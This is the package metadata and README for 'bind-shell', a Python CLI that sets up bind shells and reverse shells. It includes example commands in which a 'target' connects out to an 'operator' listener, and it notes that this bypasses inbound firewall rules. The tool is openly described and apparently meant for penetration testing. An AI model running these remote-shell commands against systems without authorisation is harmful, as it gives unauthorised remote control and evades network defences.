Metadata-Version: 2.4
Name: bind-shell
Version: 0.1.4rc13
Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
License: MIT
Author: Tyson Holub
Author-email: tyson@tysonholub.com
Requires-Python: >=3.10,<4.0
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Programming Language :: Python :: 3.14
Requires-Dist: typer (>=0.13,<0.14)
Description-Content-Type: text/markdown

# bind-shell [![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)](https://pypi.org/project/bind-shell/) [![PyPiStats](https://img.shields.io/pypi/dm/bind-shell.svg)](https://pypistats.org/packages/bind-shell)

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

## Install

Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.

```bash
pipx install bind-shell
```

## Usage

```
 Usage: bind-shell [OPTIONS] COMMAND [ARGS]...

╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
│ --install-completion          Install completion for the current shell.                     │
│ --show-completion             Show completion for the current shell, to copy it or          │
│                               customize the installation.                                   │
│ --help                        Show this message and exit.                                   │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
│ server    Bind shell: bind a port and execute commands from an incoming client               │
│ client    Bind shell: connect to a server and send commands interactively                   │
│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
│ connect   Reverse shell: connect out to a listener and execute its commands                 │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
```

### Bind shell

In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.

**On the target:**

```bash
$ bind-shell server
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
```

**On the operator:**

```bash
$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
```

### Reverse shell

In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.

**On the operator:**

```bash
$ bind-shell listen
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
```

**On the target:**

```bash
$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
```

### Options

All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.

```bash
bind-shell server --host 0.0.0.0 --port 4444
bind-shell client <ip> --port 4444 --password some-pass
bind-shell listen --host 0.0.0.0 --port 4444
bind-shell connect <ip> --port 4444 --password some-pass
```

#### Shell selection

`server` and `connect` accept an optional `--shell` flag to control which shell executes commands. By default the system shell is used (`/bin/sh` on Linux/macOS, `cmd.exe` on Windows).

```bash
bind-shell server --shell /bin/bash
bind-shell connect <ip> --password some-pass --shell /bin/zsh
bind-shell connect <ip> --password some-pass --shell pwsh   # PowerShell Core
```

To find out which shell is active on the target, run `echo $0` (Unix) or check `$PSVersionTable` (PowerShell).

Type `exit` or `quit` to close a session.

## Dev Prerequisites

- python >=3.10
- [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
- [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
- [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
    - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
    - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
- [black](https://github.com/psf/black) (install globally with `pipx install black`)
- [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
- [just](https://github.com/casey/just), a Justfile command runner

## Updating python version

- Update python version in `Dev Prerequisites` above
- Update \[tool.poetry.dependencies\] section of `pyproject.toml`
- Update pyupgrade hook in `.pre-commit-config.yaml`
- Update python version in `.gitlab-ci.yml`

## Justfile Targets

- `install`: installs poetry dependencies and pre-commit git hooks
- `update_boilerplate`: fetches and applies updates from the boilerplate remote
- `test`: runs pytest with test coverage report

## Boilerplate

This project tracks the [pyplate](https://gitlab.com/tysonholub/pyplate) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.

